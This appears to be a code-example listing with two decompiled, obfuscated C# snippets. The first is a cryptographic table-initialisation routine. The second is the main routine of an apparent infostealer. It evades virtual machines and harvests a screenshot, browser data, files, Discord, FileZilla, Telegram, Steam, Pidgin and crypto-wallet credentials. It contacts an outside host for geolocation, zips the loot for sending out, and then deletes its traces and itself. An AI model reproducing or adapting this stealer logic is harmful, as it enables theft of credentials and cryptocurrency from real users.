Пример #1
0
        // Token: 0x06000062 RID: 98 RVA: 0x00007BF8 File Offset: 0x00005DF8
        public void Init(byte[] H)
        {
            this.uint_0[0]    = new uint[16][];
            this.uint_0[1]    = new uint[16][];
            this.uint_0[0][0] = new uint[4];
            this.uint_0[1][0] = new uint[4];
            this.uint_0[1][8] = Class8.smethod_2(H);
            for (int i = 4; i >= 1; i >>= 1)
            {
                uint[] array = (uint[])this.uint_0[1][i + i].Clone();
                Class8.smethod_4(array);
                this.uint_0[1][i] = array;
            }
            uint[] array2 = (uint[])this.uint_0[1][1].Clone();
            Class8.smethod_4(array2);
            this.uint_0[0][8] = array2;
            for (int j = 4; j >= 1; j >>= 1)
            {
                uint[] array3 = (uint[])this.uint_0[0][j + j].Clone();
                Class8.smethod_4(array3);
                this.uint_0[0][j] = array3;
            }
            int num = 0;

            for (;;)
            {
                for (int k = 2; k < 16; k += k)
                {
                    for (int l = 1; l < k; l++)
                    {
                        uint[] array4 = (uint[])this.uint_0[num][k].Clone();
                        Class8.smethod_10(array4, this.uint_0[num][l]);
                        this.uint_0[num][k + l] = array4;
                    }
                }
                if (++num == 32)
                {
                    break;
                }
                if (num > 1)
                {
                    this.uint_0[num]    = new uint[16][];
                    this.uint_0[num][0] = new uint[4];
                    for (int m = 8; m > 0; m >>= 1)
                    {
                        uint[] array5 = (uint[])this.uint_0[num - 2][m].Clone();
                        Class8.smethod_5(array5);
                        this.uint_0[num][m] = array5;
                    }
                }
            }
        }
Пример #2
0
 private static void dYovoedfK(string[] args)
 {
     if (!Class4.smethod_1())
     {
         Environment.Exit(0);
     }
     if (!Class8.smethod_4())
     {
         Program.thread_0.Start();
         try
         {
             using (new WebClient().OpenRead("https://www.google.com"))
                 ;
         }
         catch
         {
             Environment.Exit(0);
         }
         try
         {
             Directory.Delete(Program.string_0, true);
         }
         catch
         {
         }
         Class4.smethod_5(Program.string_1);
         if (Program.string_2 == "on")
         {
             if (System.IO.File.Exists(Environment.GetEnvironmentVariable("LocalAppData") + "\\update_" + Program.id + ".dll"))
             {
                 if (Program.string_3 == "on")
                 {
                     Class4.smethod_6((object)Program.string_0, (object)Assembly.GetExecutingAssembly().Location);
                 }
                 else
                 {
                     Environment.Exit(0);
                 }
             }
             else
             {
                 System.IO.File.Create(Environment.GetEnvironmentVariable("LocalAppData") + "\\update_" + Program.id + ".dll");
             }
         }
         Directory.CreateDirectory(Program.path);
         Class3.smethod_4(Program.path + "\\Screen.png");
         Class1.smethod_0(Program.path + "\\Browsers");
         Class3.smethod_2(Program.path + "\\Files");
         try
         {
             Class4.smethod_3(Program.path + "\\Files", Program.path + "\\Files.zip");
             if (System.IO.File.Exists(Program.path + "\\Files.zip"))
             {
                 Directory.Delete(Program.path + "\\Files", true);
             }
         }
         catch (Exception ex)
         {
             Console.WriteLine((object)ex);
         }
         Class3.smethod_7(Program.path + "\\Discord");
         Class3.smethod_8(Program.path + "\\FileZilla");
         Class3.smethod_1(Program.path + "\\Telegram");
         Class3.smethod_9(Program.path + "\\Steam");
         Class3.smethod_5(Program.path + "\\Wallets");
         Class3.smethod_6(Program.path + "\\Pidgin");
         Program.thread_0.Abort();
         try
         {
             using (WebClient webClient = new WebClient())
                 Program.geo = Encoding.ASCII.GetString(webClient.DownloadData("https://arcane.es3n.in/i.php"));
         }
         catch
         {
             Program.geo = "Unknown?Unknown?Unknown?UN";
         }
         Class3.smethod_0(Program.path + "\\Information.txt");
         try
         {
             string str = Path.Combine(Program.string_0, "1337.zip");
             Class4.smethod_3(Program.path, str);
             Class4.smethod_4(str, (object)Program.id, (object)("[" + Program.geo.Split('?')[3] + "]" + Program.geo.Split('?')[0] + "_" + Class4.smethod_0()));
             Directory.Delete(Program.path, true);
             Directory.Delete(Program.string_0, true);
         }
         catch (Exception ex)
         {
             Console.WriteLine(ex.ToString());
         }
         if (Program.string_3 == "on")
         {
             Class4.smethod_6((object)Program.string_0, (object)Assembly.GetExecutingAssembly().Location);
         }
     }
     else
     {
         Class4.smethod_9(Program.string_1, "Detected Virtual Machine", "Error");
     }
     Environment.Exit(0);
 }